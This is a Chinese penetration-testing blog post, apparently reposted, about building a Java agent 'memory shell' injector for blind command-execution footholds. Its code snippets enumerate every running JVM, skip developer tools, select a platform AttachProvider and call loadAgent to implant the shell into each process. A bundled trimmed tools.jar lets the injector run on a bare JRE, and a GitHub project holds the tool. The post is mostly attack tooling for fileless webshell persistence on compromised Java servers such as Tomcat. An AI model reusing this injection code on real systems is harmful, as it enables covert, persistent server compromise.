你会常用这个内存马的。

admin 2026-04-10 02:11:55 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 作者在无回显命令执行场景下,结合vagent和memshellparty两种agent内存马的优势,开发出支持跨平台和JRE环境的注入工具。通过精简整合tools.jar解决兼容性问题,实现了对Tomcat、Godzilla等Java进程的内存马注入,项目已在GitHub开源。 综合评分: 85 文章分类: 渗透测试,内网渗透,WEB安全,安全工具,应急响应


cover_image

你会常用这个内存马的。

原创

ptr ptr

UpRoot

2026年4月8日 16:34 四川

最近做项目在bypass商业版雷池后,留下了无回显命令执行的场景。

这只是一个普通的渗透项目,本来收到dns请求后,我就该停止测试的,但是我又多想了一步,如果是攻防场景,这个点如何打下来,如何实现注入内存马呢?

如果免杀足够强劲,可以实现直接上线C2,很显然,我目前得不到这样的支持。

那只能另辟蹊径,借助Agent内存马来实现。目前我认知里面有两份agent内存马比较好的,一个是vagent、一个是memshellparty里面的agent。

对于前者,不够优雅,年代久远,jre环境下不存在tools.jar没法使用,好在可以实现盲打所有java进程。

对于后者,目前暂不支持在无回显的场景下来使用,好在体积小,兼容jre环境。

于是一个想法在我心里冉冉升起——将二者结合起来,实现JDK全版本命令执行无回显的场景下打入内存马

在拜读二者的源码后,我写出了如下代码,初步实现拿到所有java进程。

Iterator var1 = getProvider().listVirtualMachines().iterator();

while(var1.hasNext()) {
    VirtualMachineDescriptor vm = (VirtualMachineDescriptor)var1.next();

    try {
        if (!vm.displayName().contains("jetbrains") && !vm.displayName().contains("burpsuite") && !vm.displayName().contains("jdk") && vm.displayName() != null) {
            attach(vm.id());
        }
    } catch (Exception var4) {
        System.out.println("error");
    }
}

为了解决跨平台问题,我通过如下代码实现拿到不同操作系统的AttachProvider。

public static AttachProvider getProvider() {
&nbsp; &nbsp; &nbsp; &nbsp; List<AttachProvider> providers = AttachProvider.providers();
&nbsp; &nbsp; &nbsp; &nbsp; if (providers != null && !providers.isEmpty()) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return (AttachProvider)providers.get(0);
&nbsp; &nbsp; &nbsp; &nbsp; } else {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String os = System.getProperty("os.name").toLowerCase();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String providerClassName;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (os.contains("win")) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; providerClassName = "sun.tools.attach.WindowsAttachProvider";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else if (os.contains("linux")) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; providerClassName = "sun.tools.attach.LinuxAttachProvider";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else if (os.contains("mac")) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; providerClassName = "sun.tools.attach.BsdAttachProvider";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; providerClassName = "sun.tools.attach.SolarisAttachProvider";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return (AttachProvider)Class.forName(providerClassName).newInstance();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch (Throwable var3) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Throwable t = var3;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw new RuntimeException("无法为当前系统创建 AttachProvider: " + os, t);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

并且我替换了原有代码中的复杂反射,将其修改为:

// 修改后的代码:直接利用我们的 Provider 获取目标并注入
String var5 = var2.resolve().getAbsolutePath();
try {
&nbsp; &nbsp; // 绕过原生 attach() 的系统限制,直接用当前操作系统的 Provider 连接
&nbsp; &nbsp; com.sun.tools.attach.VirtualMachine vm = getProvider().attachVirtualMachine(var0);
&nbsp; &nbsp; try {
&nbsp; &nbsp; &nbsp; &nbsp; // 直接执行注入
&nbsp; &nbsp; &nbsp; &nbsp; vm.loadAgent(var5, var1);
&nbsp; &nbsp; } finally {
&nbsp; &nbsp; &nbsp; &nbsp; vm.detach();
&nbsp; &nbsp; }
} catch (Exception e) {
&nbsp; &nbsp; throw new IllegalStateException("Agent 注入失败", e);
}

为了解决JRE环境下tools.jar不存在,无法提供VirtualMachine的问题,我在原有内存马的基础上,融入了从JMG中拿到的精简版的tools.jar,使二开后的马子的体积只相对之前大了0.15mb。

root@VM-0-4-debian:~/vulhome# java -jar command2.jar

Exception in thread "main" java.lang.NoClassDefFoundError: com/sun/tools/attach/VirtualMachine
&nbsp; &nbsp; &nbsp; &nbsp; at com.fasterxml.jackson.wamur.Attacher.main(Attacher.java:37)
Caused by: java.lang.ClassNotFoundException: com.sun.tools.attach.VirtualMachine
&nbsp; &nbsp; &nbsp; &nbsp; at java.net.URLClassLoader.findClass(URLClassLoader.java:382)
&nbsp; &nbsp; &nbsp; &nbsp; at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
&nbsp; &nbsp; &nbsp; &nbsp; at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:349)
&nbsp; &nbsp; &nbsp; &nbsp; at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
&nbsp; &nbsp; &nbsp; &nbsp; ... 1 more

root@VM-0-4-debian:~/vulhome# java -version
java version "1.8.0_201"
Java(TM) SE Runtime Environment (build 1.8.0_201-b09)
Java HotSpot(TM) 64-Bit Server VM (build 25.201-b09, mixed mode)
root@VM-0-4-debian:~/vulhome#

经过几处微小的修改,实现了对memshellparty的agent内存马的二开,使其在无回显命令执行的场景下可以方便的对所有java进程打入内存马。

效果如下:

TomcatEcho

Godzilla

项目地址:https://github.com/FightingLzn9/AgentMemshell

沿途所有的山水都已是昨日的嶙峋。

祝我们在迅疾而逝的时间里循环往复地启行,哪怕生命里拥有无数个垂头丧气的瞬息。

  • END –

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:UpRoot ptr ptr《你会常用这个内存马的。》

评论:0   参与:  0